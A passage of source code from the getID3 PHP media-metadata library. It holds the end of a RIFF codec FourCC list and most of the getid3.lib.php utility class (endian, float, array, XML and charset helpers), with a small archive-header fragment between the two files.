			TR20	Duck TrueMotion RealTime 2.0
			TSCC	TechSmith Screen Capture Codec
			TV10	Tecomac Low-Bit Rate Codec
			TY2N	Trident ?TY2N?
			U263	UB Video H.263/H.263+/H.263++ Decoder
			UMP4	UB Video MPEG 4 (www.ubvideo.com)
			UYNV	Nvidia UYVY packed 4:2:2
			UYVP	Evans & Sutherland YCbCr 4:2:2 extended precision
			UCOD	eMajix.com ClearVideo
			ULTI	IBM Ultimotion
			UYVY	UYVY packed 4:2:2
			V261	Lucent VX2000S
			VIFP	VFAPI Reader Codec (www.yks.ne.jp/~hori/)
			VIV1	FFmpeg H263+ decoder
			VIV2	Vivo H.263
			VQC2	Vector-quantised codec 2 (research) http://eprints.ecs.soton.ac.uk/archive/00001310/01/VTC97-js.pdf)
			VTLP	Alaris VideoGramPiX
			VYU9	ATI YUV (VYU9)
			VYUY	ATI YUV (VYUY)
			V261	Lucent VX2000S
			V422	Vitec Multimedia 24-bit YUV 4:2:2 Format
			V655	Vitec Multimedia 16-bit YUV 4:2:2 Format
			VCR1	ATI Video Codec 1
			VCR2	ATI Video Codec 2
			VCR3	ATI VCR 3.0
			VCR4	ATI VCR 4.0
			VCR5	ATI VCR 5.0
			VCR6	ATI VCR 6.0
			VCR7	ATI VCR 7.0
			VCR8	ATI VCR 8.0
			VCR9	ATI VCR 9.0
			VDCT	Vitec Multimedia Video Maker Pro DIB
			VDOM	VDOnet VDOWave
			VDOW	VDOnet VDOLive (H.263)
			VDTZ	Darim Vison VideoTizer YUV
			VGPX	Alaris VideoGramPiX
			VIDS	Vitec Multimedia YUV 4:2:2 CCIR 601 for V422
			VIVO	Vivo H.263 v2.00
			vivo	Vivo H.263
			VIXL	Miro/Pinnacle Video XL
			VLV1	VideoLogic/PURE Digital Videologic Capture
			VP30	On2 VP3.0
			VP31	On2 VP3.1
			VP6F	On2 TrueMotion VP6
			VX1K	Lucent VX1000S Video Codec
			VX2K	Lucent VX2000S Video Codec
			VXSP	Lucent VX1000SP Video Codec
			WBVC	Winbond W9960
			WHAM	Microsoft Video 1 (WHAM)
			WINX	Winnov Software Compression
			WJPG	AverMedia Winbond JPEG
			WMV1	Windows Media Video V7
			WMV2	Windows Media Video V8
			WMV3	Windows Media Video V9
			WNV1	Winnov Hardware Compression
			XYZP	Extended PAL format XYZ palette (www.riff.org)
			x263	Xirlink H.263
			XLV0	NetXL Video Decoder
			XMPG	Xing MPEG (I-Frame only)
			XVID	XviD MPEG-4 (www.xvid.org)
			XXAN	?XXAN?
			YU92	Intel YUV (YU92)
			YUNV	Nvidia Uncompressed YUV 4:2:2
			YUVP	Extended PAL format YUV palette (www.riff.org)
			Y211	YUV 2:1:1 Packed
			Y411	YUV 4:1:1 Packed
			Y41B	Weitek YUV 4:1:1 Planar
			Y41P	Brooktree PC1 YUV 4:1:1 Packed
			Y41T	Brooktree PC1 YUV 4:1:1 with transparency
			Y42B	Weitek YUV 4:2:2 Planar
			Y42T	Brooktree UYUV 4:2:2 with transparency
			Y422	ADS Technologies Copy of UYVY used in Pyro WebCam firewire camera
			Y800	Simple, single Y plane for monochrome images
			Y8  	Grayscale video
			YC12	Intel YUV 12 codec
			YUV8	Winnov Caviar YUV8
			YUV9	Intel YUV9
			YUY2	Uncompressed YUV 4:2:2
			YUYV	Canopus YUV
			YV12	YVU12 Planar
			YVU9	Intel YVU9 Planar (8-bpp Y plane, followed by 8-bpp 4x4 U and V planes)
			YVYU	YVYU 4:2:2 Packed
			ZLIB	Lossless Codec Library zlib compression (www.geocities.co.jp/Playtown-Denei/2837/LRC.htm)
			ZPEG	Metheus Video Zipper

		*/

		return getid3_lib::EmbeddedLookup($fourcc, $begin, __LINE__, __FILE__, 'riff-fourcc');
	}

	/**
	 * @param string $byteword
	 * @param bool   $signed
	 *
	 * @return int|float|false
	 */
	private function EitherEndian2Int($byteword, $signed=false) {
		if ($this->container == 'riff') {
			return getid3_lib::LittleEndian2Int($byteword, $signed);
		}
		return getid3_lib::BigEndian2Int($byteword, false, $signed);
	}

}
PKE]vgetid3.lib.phpnuW+A<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//                                                             //
// getid3.lib.php - part of getID3()                           //
//  see readme.txt for more details                            //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_LIBXML_OPTIONS') && defined('LIBXML_VERSION')) {
	if (LIBXML_VERSION >= 20621) {
		define('GETID3_LIBXML_OPTIONS', LIBXML_NONET | LIBXML_NOWARNING | LIBXML_COMPACT);
	} else {
		define('GETID3_LIBXML_OPTIONS', LIBXML_NONET | LIBXML_NOWARNING);
	}
}

class getid3_lib
{
	/**
	 * @param string      $string
	 * @param bool        $hex
	 * @param bool        $spaces
	 * @param string|bool $htmlencoding
	 *
	 * @return string
	 */
	public static function PrintHexBytes($string, $hex=true, $spaces=true, $htmlencoding='UTF-8') {
		$returnstring = '';
		for ($i = 0; $i < strlen($string); $i++) {
			if ($hex) {
				$returnstring .= str_pad(dechex(ord($string[$i])), 2, '0', STR_PAD_LEFT);
			} else {
				$returnstring .= ' '.(preg_match("#[\x20-\x7E]#", $string[$i]) ? $string[$i] : '¤');
			}
			if ($spaces) {
				$returnstring .= ' ';
			}
		}
		if (!empty($htmlencoding)) {
			if ($htmlencoding === true) {
				$htmlencoding = 'UTF-8'; // prior to getID3 v1.9.0 the function's 4th parameter was boolean
			}
			$returnstring = htmlentities($returnstring, ENT_QUOTES, $htmlencoding);
		}
		return $returnstring;
	}

	/**
	 * Truncates a floating-point number at the decimal point.
	 *
	 * @param float $floatnumber
	 *
	 * @return float|int returns int (if possible, otherwise float)
	 */
	public static function trunc($floatnumber) {
		if ($floatnumber >= 1) {
			$truncatednumber = floor($floatnumber);
		} elseif ($floatnumber <= -1) {
			$truncatednumber = ceil($floatnumber);
		} else {
			$truncatednumber = 0;
		}
		if (self::intValueSupported($truncatednumber)) {
			$truncatednumber = (int) $truncatednumber;
		}
		return $truncatednumber;
	}

	/**
	 * @param int|null $variable
	 * @param-out int  $variable
     * @param int      $increment
	 *
	 * @return bool
	 */
	public static function safe_inc(&$variable, $increment=1) {
		if (isset($variable)) {
			$variable += $increment;
		} else {
			$variable = $increment;
		}
		return true;
	}

	/**
	 * @param int|float $floatnum
	 *
	 * @return int|float
	 */
	public static function CastAsInt($floatnum) {
		// convert to float if not already
		$floatnum = (float) $floatnum;

		// convert a float to type int, only if possible
		if (self::trunc($floatnum) == $floatnum) {
			// it's not floating point
			if (self::intValueSupported($floatnum)) {
				// it's within int range
				$floatnum = (int) $floatnum;
			}
		}
		return $floatnum;
	}

	/**
	 * @param int $num
	 *
	 * @return bool
	 */
	public static function intValueSupported($num) {
		// check if integers are 64-bit
		static $hasINT64 = null;
		if ($hasINT64 === null) { // 10x faster than is_null()
			/** @var int|float|object $bigInt */
			$bigInt = pow(2, 31);
			$hasINT64 = is_int($bigInt); // 32-bit int are limited to (2^31)-1
			if (!$hasINT64 && !defined('PHP_INT_MIN')) {
				define('PHP_INT_MIN', ~PHP_INT_MAX);
			}
		}
		// if integers are 64-bit - no other check required
		if ($hasINT64 || (($num <= PHP_INT_MAX) && ($num >= PHP_INT_MIN))) {
			return true;
		}
		return false;
	}

	/**
	 * Perform a division, guarding against division by zero
	 *
	 * @param float|int $numerator
	 * @param float|int $denominator
	 * @param float|int $fallback
	 * @return float|int
	 */
	public static function SafeDiv($numerator, $denominator, $fallback = 0) {
		return $denominator ? $numerator / $denominator : $fallback;
	}

	/**
	 * @param string $fraction
	 *
	 * @return float
	 */
	public static function DecimalizeFraction($fraction) {
		list($numerator, $denominator) = explode('/', $fraction);
		return (int) $numerator / ($denominator ? $denominator : 1);
	}

	/**
	 * @param string $binarynumerator
	 *
	 * @return float
	 */
	public static function DecimalBinary2Float($binarynumerator) {
		$numerator   = self::Bin2Dec($binarynumerator);
		$denominator = self::Bin2Dec('1'.str_repeat('0', strlen($binarynumerator)));
		return ($numerator / $denominator);
	}

	/**
	 * @link http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/binary.html
	 *
	 * @param string $binarypointnumber
	 * @param int    $maxbits
	 *
	 * @return array
	 */
	public static function NormalizeBinaryPoint($binarypointnumber, $maxbits=52) {
		if (strpos($binarypointnumber, '.') === false) {
			$binarypointnumber = '0.'.$binarypointnumber;
		} elseif ($binarypointnumber[0] == '.') {
			$binarypointnumber = '0'.$binarypointnumber;
		}
		$exponent = 0;
		while (($binarypointnumber[0] != '1') || (substr($binarypointnumber, 1, 1) != '.')) {
			if (substr($binarypointnumber, 1, 1) == '.') {
				$exponent--;
				$binarypointnumber = substr($binarypointnumber, 2, 1).'.'.substr($binarypointnumber, 3);
			} else {
				$pointpos = strpos($binarypointnumber, '.');
				$exponent += ($pointpos - 1);
				$binarypointnumber = str_replace('.', '', $binarypointnumber);
				$binarypointnumber = $binarypointnumber[0].'.'.substr($binarypointnumber, 1);
			}
		}
		$binarypointnumber = str_pad(substr($binarypointnumber, 0, $maxbits + 2), $maxbits + 2, '0', STR_PAD_RIGHT);
		return array('normalized'=>$binarypointnumber, 'exponent'=>(int) $exponent);
	}

	/**
	 * @link http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/binary.html
	 *
	 * @param float $floatvalue
	 *
	 * @return string
	 */
	public static function Float2BinaryDecimal($floatvalue) {
		$maxbits = 128; // to how many bits of precision should the calculations be taken?
		$intpart   = self::trunc($floatvalue);
		$floatpart = abs($floatvalue - $intpart);
		$pointbitstring = '';
		while (($floatpart != 0) && (strlen($pointbitstring) < $maxbits)) {
			$floatpart *= 2;
			$pointbitstring .= (string) self::trunc($floatpart);
			$floatpart -= self::trunc($floatpart);
		}
		$binarypointnumber = decbin($intpart).'.'.$pointbitstring;
		return $binarypointnumber;
	}

	/**
	 * @link http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/ieee-expl.html
	 *
	 * @param float $floatvalue
	 * @param int $bits
	 *
	 * @return string|false
	 */
	public static function Float2String($floatvalue, $bits) {
		$exponentbits = 0;
		$fractionbits = 0;
		switch ($bits) {
			case 32:
				$exponentbits = 8;
				$fractionbits = 23;
				break;

			case 64:
				$exponentbits = 11;
				$fractionbits = 52;
				break;

			default:
				return false;
		}
		if ($floatvalue >= 0) {
			$signbit = '0';
		} else {
			$signbit = '1';
		}
		$normalizedbinary  = self::NormalizeBinaryPoint(self::Float2BinaryDecimal($floatvalue), $fractionbits);
		$biasedexponent    = pow(2, $exponentbits - 1) - 1 + $normalizedbinary['exponent']; // (127 or 1023) +/- exponent
		$exponentbitstring = str_pad(decbin($biasedexponent), $exponentbits, '0', STR_PAD_LEFT);
		$fractionbitstring = str_pad(substr($normalizedbinary['normalized'], 2), $fractionbits, '0', STR_PAD_RIGHT);

		return self::BigEndian2String(self::Bin2Dec($signbit.$exponentbitstring.$fractionbitstring), $bits % 8, false);
	}

	/**
	 * @param string $byteword
	 *
	 * @return float|false
	 */
	public static function LittleEndian2Float($byteword) {
		return self::BigEndian2Float(strrev($byteword));
	}

	/**
	 * ANSI/IEEE Standard 754-1985, Standard for Binary Floating Point Arithmetic
	 *
	 * @link https://web.archive.org/web/20120325162206/http://www.psc.edu/general/software/packages/ieee/ieee.php
	 * @link http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/ieee.html
	 *
	 * @param string $byteword
	 *
	 * @return float|false
	 */
	public static function BigEndian2Float($byteword) {
		$bitword = self::BigEndian2Bin($byteword);
		if (!$bitword) {
			return 0;
		}
		$signbit = $bitword[0];
		$floatvalue = 0;
		$exponentbits = 0;
		$fractionbits = 0;

		switch (strlen($byteword) * 8) {
			case 32:
				$exponentbits = 8;
				$fractionbits = 23;
				break;

			case 64:
				$exponentbits = 11;
				$fractionbits = 52;
				break;

			case 80:
				// 80-bit Apple SANE format
				// http://www.mactech.com/articles/mactech/Vol.06/06.01/SANENormalized/
				$exponentstring = substr($bitword, 1, 15);
				$isnormalized = intval($bitword[16]);
				$fractionstring = substr($bitword, 17, 63);
				$exponent = pow(2, self::Bin2Dec($exponentstring) - 16383);
				$fraction = $isnormalized + self::DecimalBinary2Float($fractionstring);
				$floatvalue = $exponent * $fraction;
				if ($signbit == '1') {
					$floatvalue *= -1;
				}
				return $floatvalue;

			default:
				return false;
		}
		$exponentstring = substr($bitword, 1, $exponentbits);
		$fractionstring = substr($bitword, $exponentbits + 1, $fractionbits);
		$exponent = self::Bin2Dec($exponentstring);
		$fraction = self::Bin2Dec($fractionstring);

		if (($exponent == (pow(2, $exponentbits) - 1)) && ($fraction != 0)) {
			// Not a Number
			$floatvalue = NAN;
		} elseif (($exponent == (pow(2, $exponentbits) - 1)) && ($fraction == 0)) {
			if ($signbit == '1') {
				$floatvalue = -INF;
			} else {
				$floatvalue = INF;
			}
		} elseif (($exponent == 0) && ($fraction == 0)) {
			if ($signbit == '1') {
				$floatvalue = -0.0;
			} else {
				$floatvalue = 0.0;
			}
		} elseif (($exponent == 0) && ($fraction != 0)) {
			// These are 'unnormalized' values
			$floatvalue = pow(2, (-1 * (pow(2, $exponentbits - 1) - 2))) * self::DecimalBinary2Float($fractionstring);
			if ($signbit == '1') {
				$floatvalue *= -1;
			}
		} elseif ($exponent != 0) {
			$floatvalue = pow(2, ($exponent - (pow(2, $exponentbits - 1) - 1))) * (1 + self::DecimalBinary2Float($fractionstring));
			if ($signbit == '1') {
				$floatvalue *= -1;
			}
		}
		return (float) $floatvalue;
	}

	/**
	 * @param string $byteword
	 * @param bool   $synchsafe
	 * @param bool   $signed
	 *
	 * @return int|float|false
	 * @throws Exception
	 */
	public static function BigEndian2Int($byteword, $synchsafe=false, $signed=false) {
		$intvalue = 0;
		$bytewordlen = strlen($byteword);
		if ($bytewordlen == 0) {
			return false;
		}
		for ($i = 0; $i < $bytewordlen; $i++) {
			if ($synchsafe) { // disregard MSB, effectively 7-bit bytes
				//$intvalue = $intvalue | (ord($byteword{$i}) & 0x7F) << (($bytewordlen - 1 - $i) * 7); // faster, but runs into problems past 2^31 on 32-bit systems
				$intvalue += (ord($byteword[$i]) & 0x7F) * pow(2, ($bytewordlen - 1 - $i) * 7);
			} else {
				$intvalue += ord($byteword[$i]) * pow(256, ($bytewordlen - 1 - $i));
			}
		}
		if ($signed && !$synchsafe) {
			// synchsafe ints are not allowed to be signed
			if ($bytewordlen <= PHP_INT_SIZE) {
				$signMaskBit = 0x80 << (8 * ($bytewordlen - 1));
				if ($intvalue & $signMaskBit) {
					$intvalue = 0 - ($intvalue & ($signMaskBit - 1));
				}
			} else {
				throw new Exception('ERROR: Cannot have signed integers larger than '.(8 * PHP_INT_SIZE).'-bits ('.strlen($byteword).') in self::BigEndian2Int()');
			}
		}
		return self::CastAsInt($intvalue);
	}

	/**
	 * @param string $byteword
	 * @param bool   $signed
	 *
	 * @return int|float|false
	 */
	public static function LittleEndian2Int($byteword, $signed=false) {
		return self::BigEndian2Int(strrev($byteword), false, $signed);
	}

	/**
	 * @param string $byteword
	 *
	 * @return string
	 */
	public static function LittleEndian2Bin($byteword) {
		return self::BigEndian2Bin(strrev($byteword));
	}

	/**
	 * @param string $byteword
	 *
	 * @return string
	 */
	public static function BigEndian2Bin($byteword) {
		$binvalue = '';
		$bytewordlen = strlen($byteword);
		for ($i = 0; $i < $bytewordlen; $i++) {
			$binvalue .= str_pad(decbin(ord($byteword[$i])), 8, '0', STR_PAD_LEFT);
		}
		return $binvalue;
	}

	/**
	 * @param int  $number
	 * @param int  $minbytes
	 * @param bool $synchsafe
	 * @param bool $signed
	 *
	 * @return string
	 * @throws Exception
	 */
	public static function BigEndian2String($number, $minbytes=1, $synchsafe=false, $signed=false) {
		if ($number < 0) {
			throw new Exception('ERROR: self::BigEndian2String() does not support negative numbers');
		}
		$maskbyte = (($synchsafe || $signed) ? 0x7F : 0xFF);
		$intstring = '';
		if ($signed) {
			if ($minbytes > PHP_INT_SIZE) {
				throw new Exception('ERROR: Cannot have signed integers larger than '.(8 * PHP_INT_SIZE).'-bits in self::BigEndian2String()');
			}
			$number = $number & (0x80 << (8 * ($minbytes - 1)));
		}
		while ($number != 0) {
			$quotient = ($number / ($maskbyte + 1));
			$intstring = chr(ceil(($quotient - floor($quotient)) * $maskbyte)).$intstring;
			$number = floor($quotient);
		}
		return str_pad($intstring, $minbytes, "\x00", STR_PAD_LEFT);
	}

	/**
	 * @param int|string $number
	 *
	 * @return string
	 */
	public static function Dec2Bin($number) {
		if (!is_numeric($number)) {
			// https://github.com/JamesHeinrich/getID3/issues/299
			trigger_error('TypeError: Dec2Bin(): Argument #1 ($number) must be numeric, '.gettype($number).' given', E_USER_WARNING);
			return '';
		}
		$bytes = array();
		while ($number >= 256) {
			$bytes[] = (int) (($number / 256) - (floor($number / 256))) * 256;
			$number = floor($number / 256);
		}
		$bytes[] = (int) $number;
		$binstring = '';
		foreach ($bytes as $i => $byte) {
			$binstring = (($i == count($bytes) - 1) ? decbin($byte) : str_pad(decbin($byte), 8, '0', STR_PAD_LEFT)).$binstring;
		}
		return $binstring;
	}

	/**
	 * @param string $binstring
	 * @param bool   $signed
	 *
	 * @return int|float
	 */
	public static function Bin2Dec($binstring, $signed=false) {
		$signmult = 1;
		if ($signed) {
			if ($binstring[0] == '1') {
				$signmult = -1;
			}
			$binstring = substr($binstring, 1);
		}
		$decvalue = 0;
		for ($i = 0; $i < strlen($binstring); $i++) {
			$decvalue += ((int) substr($binstring, strlen($binstring) - $i - 1, 1)) * pow(2, $i);
		}
		return self::CastAsInt($decvalue * $signmult);
	}

	/**
	 * @param string $binstring
	 *
	 * @return string
	 */
	public static function Bin2String($binstring) {
		// return 'hi' for input of '0110100001101001'
		$string = '';
		$binstringreversed = strrev($binstring);
		for ($i = 0; $i < strlen($binstringreversed); $i += 8) {
			$string = chr(self::Bin2Dec(strrev(substr($binstringreversed, $i, 8)))).$string;
		}
		return $string;
	}

	/**
	 * @param int  $number
	 * @param int  $minbytes
	 * @param bool $synchsafe
	 *
	 * @return string
	 */
	public static function LittleEndian2String($number, $minbytes=1, $synchsafe=false) {
		$intstring = '';
		while ($number > 0) {
			if ($synchsafe) {
				$intstring = $intstring.chr($number & 127);
				$number >>= 7;
			} else {
				$intstring = $intstring.chr($number & 255);
				$number >>= 8;
			}
		}
		return str_pad($intstring, $minbytes, "\x00", STR_PAD_RIGHT);
	}

	/**
	 * @param mixed $array1
	 * @param mixed $array2
	 *
	 * @return array|false
	 */
	public static function array_merge_clobber($array1, $array2) {
		// written by kcØhireability*com
		// taken from http://www.php.net/manual/en/function.array-merge-recursive.php
		if (!is_array($array1) || !is_array($array2)) {
			return false;
		}
		$newarray = $array1;
		foreach ($array2 as $key => $val) {
			if (is_array($val) && isset($newarray[$key]) && is_array($newarray[$key])) {
				$newarray[$key] = self::array_merge_clobber($newarray[$key], $val);
			} else {
				$newarray[$key] = $val;
			}
		}
		return $newarray;
	}

	/**
	 * @param mixed $array1
	 * @param mixed $array2
	 *
	 * @return array|false
	 */
	public static function array_merge_noclobber($array1, $array2) {
		if (!is_array($array1) || !is_array($array2)) {
			return false;
		}
		$newarray = $array1;
		foreach ($array2 as $key => $val) {
			if (is_array($val) && isset($newarray[$key]) && is_array($newarray[$key])) {
				$newarray[$key] = self::array_merge_noclobber($newarray[$key], $val);
			} elseif (!isset($newarray[$key])) {
				$newarray[$key] = $val;
			}
		}
		return $newarray;
	}

	/**
	 * @param mixed $array1
	 * @param mixed $array2
	 *
	 * @return array|false|null
	 */
	public static function flipped_array_merge_noclobber($array1, $array2) {
		if (!is_array($array1) || !is_array($array2)) {
			return false;
		}
		# naturally, this only works non-recursively
		$newarray = array_flip($array1);
		foreach (array_flip($array2) as $key => $val) {
			if (!isset($newarray[$key])) {
				$newarray[$key] = count($newarray);
			}
		}
		return array_flip($newarray);
	}

	/**
	 * @param array $theArray
	 *
	 * @return bool
	 */
	public static function ksort_recursive(&$theArray) {
		ksort($theArray);
		foreach ($theArray as $key => $value) {
			if (is_array($value)) {
				self::ksort_recursive($theArray[$key]);
			}
		}
		return true;
	}

	/**
	 * @param string $filename
	 * @param int    $numextensions
	 *
	 * @return string
	 */
	public static function fileextension($filename, $numextensions=1) {
		if (strstr($filename, '.')) {
			$reversedfilename = strrev($filename);
			$offset = 0;
			for ($i = 0; $i < $numextensions; $i++) {
				$offset = strpos($reversedfilename, '.', $offset + 1);
				if ($offset === false) {
					return '';
				}
			}
			return strrev(substr($reversedfilename, 0, $offset));
		}
		return '';
	}

	/**
	 * @param int $seconds
	 *
	 * @return string
	 */
	public static function PlaytimeString($seconds) {
		$sign = (($seconds < 0) ? '-' : '');
		$seconds = round(abs($seconds));
		$H = (int) floor( $seconds                            / 3600);
		$M = (int) floor(($seconds - (3600 * $H)            ) /   60);
		$S = (int) round( $seconds - (3600 * $H) - (60 * $M)        );
		return $sign.($H ? $H.':' : '').($H ? str_pad($M, 2, '0', STR_PAD_LEFT) : intval($M)).':'.str_pad($S, 2, 0, STR_PAD_LEFT);
	}

	/**
	 * @param int $macdate
	 *
	 * @return int|float
	 */
	public static function DateMac2Unix($macdate) {
		// Macintosh timestamp: seconds since 00:00h January 1, 1904
		// UNIX timestamp:      seconds since 00:00h January 1, 1970
		return self::CastAsInt($macdate - 2082844800);
	}

	/**
	 * @param string $rawdata
	 *
	 * @return float
	 */
	public static function FixedPoint8_8($rawdata) {
		return self::BigEndian2Int(substr($rawdata, 0, 1)) + (float) (self::BigEndian2Int(substr($rawdata, 1, 1)) / pow(2, 8));
	}

	/**
	 * @param string $rawdata
	 *
	 * @return float
	 */
	public static function FixedPoint16_16($rawdata) {
		return self::BigEndian2Int(substr($rawdata, 0, 2)) + (float) (self::BigEndian2Int(substr($rawdata, 2, 2)) / pow(2, 16));
	}

	/**
	 * @param string $rawdata
	 *
	 * @return float
	 */
	public static function FixedPoint2_30($rawdata) {
		$binarystring = self::BigEndian2Bin($rawdata);
		return self::Bin2Dec(substr($binarystring, 0, 2)) + (float) (self::Bin2Dec(substr($binarystring, 2, 30)) / pow(2, 30));
	}


	/**
	 * @param string $ArrayPath
	 * @param string $Separator
	 * @param mixed $Value
	 *
	 * @return array
	 */
	public static function CreateDeepArray($ArrayPath, $Separator, $Value) {
		// assigns $Value to a nested array path:
		//   $foo = self::CreateDeepArray('/path/to/my', '/', 'file.txt')
		// is the same as:
		//   $foo = array('path'=>array('to'=>'array('my'=>array('file.txt'))));
		// or
		//   $foo['path']['to']['my'] = 'file.txt';
		$ArrayPath = ltrim($ArrayPath, $Separator);
		$ReturnedArray = array();
		if (($pos = strpos($ArrayPath, $Separator)) !== false) {
			$ReturnedArray[substr($ArrayPath, 0, $pos)] = self::CreateDeepArray(substr($ArrayPath, $pos + 1), $Separator, $Value);
		} else {
			$ReturnedArray[$ArrayPath] = $Value;
		}
		return $ReturnedArray;
	}

	/**
	 * @param array $arraydata
	 * @param bool  $returnkey
	 *
	 * @return int|false
	 */
	public static function array_max($arraydata, $returnkey=false) {
		$maxvalue = false;
		$maxkey   = false;
		foreach ($arraydata as $key => $value) {
			if (!is_array($value)) {
				if (($maxvalue === false) || ($value > $maxvalue)) {
					$maxvalue = $value;
					$maxkey = $key;
				}
			}
		}
		return ($returnkey ? $maxkey : $maxvalue);
	}

	/**
	 * @param array $arraydata
	 * @param bool  $returnkey
	 *
	 * @return int|false
	 */
	public static function array_min($arraydata, $returnkey=false) {
		$minvalue = false;
		$minkey   = false;
		foreach ($arraydata as $key => $value) {
			if (!is_array($value)) {
				if (($minvalue === false) || ($value < $minvalue)) {
					$minvalue = $value;
					$minkey = $key;
				}
			}
		}
		return ($returnkey ? $minkey : $minvalue);
	}

	/**
	 * @param string $XMLstring
	 *
	 * @return array|false
	 */
	public static function XML2array($XMLstring) {
		if (function_exists('simplexml_load_string')) {
			if (PHP_VERSION_ID < 80000) {
				if (function_exists('libxml_disable_entity_loader')) {
					// http://websec.io/2012/08/27/Preventing-XEE-in-PHP.html
					// https://core.trac.wordpress.org/changeset/29378
					// This function has been deprecated in PHP 8.0 because in libxml 2.9.0, external entity loading is
					// disabled by default, but is still needed when LIBXML_NOENT is used.
					$loader = @libxml_disable_entity_loader(true);
					$XMLobject = simplexml_load_string($XMLstring, 'SimpleXMLElement', GETID3_LIBXML_OPTIONS);
					$return = self::SimpleXMLelement2array($XMLobject);
					@libxml_disable_entity_loader($loader);
					return $return;
				}
			} else {
				$allow = false;
				if (defined('LIBXML_VERSION') && (LIBXML_VERSION >= 20900)) {
					// https://www.php.net/manual/en/function.libxml-disable-entity-loader.php
					// "as of libxml 2.9.0 entity substitution is disabled by default, so there is no need to disable the loading
					//  of external entities, unless there is the need to resolve internal entity references with LIBXML_NOENT."
					$allow = true;
				} elseif (function_exists('libxml_set_external_entity_loader')) {
					libxml_set_external_entity_loader(function () { return null; }); // https://www.zend.com/blog/cve-2023-3823
					$allow = true;
				}
				if ($allow) {
					$XMLobject = simplexml_load_string($XMLstring, 'SimpleXMLElement', GETID3_LIBXML_OPTIONS);
					$return = self::SimpleXMLelement2array($XMLobject);
					return $return;
				}
			}
		}
		return false;
	}

	/**
	* @param SimpleXMLElement|array|mixed $XMLobject
	*
	* @return mixed
	*/
	public static function SimpleXMLelement2array($XMLobject) {
		if (!is_object($XMLobject) && !is_array($XMLobject)) {
			return $XMLobject;
		}
		$XMLarray = $XMLobject instanceof SimpleXMLElement ? get_object_vars($XMLobject) : $XMLobject;
		foreach ($XMLarray as $key => $value) {
			$XMLarray[$key] = self::SimpleXMLelement2array($value);
		}
		return $XMLarray;
	}

	/**
	 * Returns checksum for a file from starting position to absolute end position.
	 *
	 * @param string $file
	 * @param int    $offset
	 * @param int    $end
	 * @param string $algorithm
	 *
	 * @return string|false
	 * @throws getid3_exception
	 */
	public static function hash_data($file, $offset, $end, $algorithm) {
		if (!self::intValueSupported($end)) {
			return false;
		}
		if (!in_array($algorithm, array('md5', 'sha1'))) {
			throw new getid3_exception('Invalid algorithm ('.$algorithm.') in self::hash_data()');
		}

		$size = $end - $offset;

		$fp = fopen($file, 'rb');
		fseek($fp, $offset);
		$ctx = hash_init($algorithm);
		while ($size > 0) {
			$buffer = fread($fp, min($size, getID3::FREAD_BUFFER_SIZE));
			hash_update($ctx, $buffer);
			$size -= getID3::FREAD_BUFFER_SIZE;
		}
		$hash = hash_final($ctx);
		fclose($fp);

		return $hash;
	}

	/**
	 * @param string $filename_source
	 * @param string $filename_dest
	 * @param int    $offset
	 * @param int    $length
	 *
	 * @return bool
	 * @throws Exception
	 *
	 * @deprecated Unused, may be removed in future versions of getID3
	 */
	public static function CopyFileParts($filename_source, $filename_dest, $offset, $length) {
		if (!self::intValueSupported($offset + $length)) {
			throw new Exception('cannot copy file portion, it extends beyond the '.round(PHP_INT_MAX / 1073741824).'GB limit');
		}
		if (is_readable($filename_source) && is_file($filename_source) && ($fp_src = fopen($filename_source, 'rb'))) {
			if (($fp_dest = fopen($filename_dest, 'wb'))) {
				if (fseek($fp_src, $offset) == 0) {
					$byteslefttowrite = $length;
					while (($byteslefttowrite > 0) && ($buffer = fread($fp_src, min($byteslefttowrite, getID3::FREAD_BUFFER_SIZE)))) {
						$byteswritten = fwrite($fp_dest, $buffer, $byteslefttowrite);
						$byteslefttowrite -= $byteswritten;
					}
					fclose($fp_dest);
					return true;
				} else {
					fclose($fp_src);
					throw new Exception('failed to seek to offset '.$offset.' in '.$filename_source);
				}
			} else {
				throw new Exception('failed to create file for writing '.$filename_dest);
			}
		} else {
			throw new Exception('failed to open file for reading '.$filename_source);
		}
	}

	/**
	 * @param int $charval
	 *
	 * @return string
	 */
	public static function iconv_fallback_int_utf8($charval) {
		if ($charval < 128) {
			// 0bbbbbbb
			$newcharstring = chr($charval);
		} elseif ($charval < 2048) {
			// 110bbbbb 10bbbbbb
			$newcharstring  = chr(($charval >>   6) | 0xC0);
			$newcharstring .= chr(($charval & 0x3F) | 0x80);
		} elseif ($charval < 65536) {
			// 1110bbbb 10bbbbbb 10bbbbbb
			$newcharstring  = chr(($charval >>  12) | 0xE0);
			$newcharstring .= chr(($charval >>   6) | 0xC0);
			$newcharstring .= chr(($charval & 0x3F) | 0x80);
		} else {
			// 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb
			$newcharstring  = chr(($charval >>  18) | 0xF0);
			$newcharstring .= chr(($charval >>  12) | 0xC0);
			$newcharstring .= chr(($charval >>   6) | 0xC0);
			$newcharstring .= chr(($charval & 0x3F) | 0x80);
		}
		return $newcharstring;
	}

	/**
	 * ISO-8859-1 => UTF-8
	 *
	 * @param string $string
	 * @param bool   $bom
	 *
	 * @return string
	 */
	public static function iconv_fallback_iso88591_utf8($string, $bom=false) {
		$newcharstring = '';
		if ($bom) {
			$newcharstring .= "\xEF\xBB\xBF";
		}
		for ($i = 0; $i < strlen($string); $i++) {
			$charval = ord($string[$i]);
			$newcharstring .= self::iconv_fallback_int_utf8($charval);
		}
		return $newcharstring;
	}

	/**
	 * ISO-8859-1 => UTF-16BE
	 *
	 * @param string $string
	 * @param bool   $bom
	 *
	 * @return string
	 */
	public static function iconv_fallback_iso88591_utf16be($string, $bom=false) {
		$newcharstring = '';
		if ($bom) {
			$newcharstring .= "\xFE\xFF";
		}
		for ($i = 0; $i < strlen($string); $i++) {
			$newcharstring .= "\x00".$string[$i];
		}
		return $newcharstring;
	}

	/**
	 * ISO-8859-1 => UTF-16LE
	 *
	 * @param string $string
	 * @param bool   $bom
	 *
	 * @return string
	 */
	public static function iconv_fallback_iso88591_utf16le($string, $bom=false) {
		$newcharstring = '';
		if ($bom) {
			$newcharstring .= "\xFF\xFE";
		}
		for ($i = 0; $i < strlen($string); $i++) {
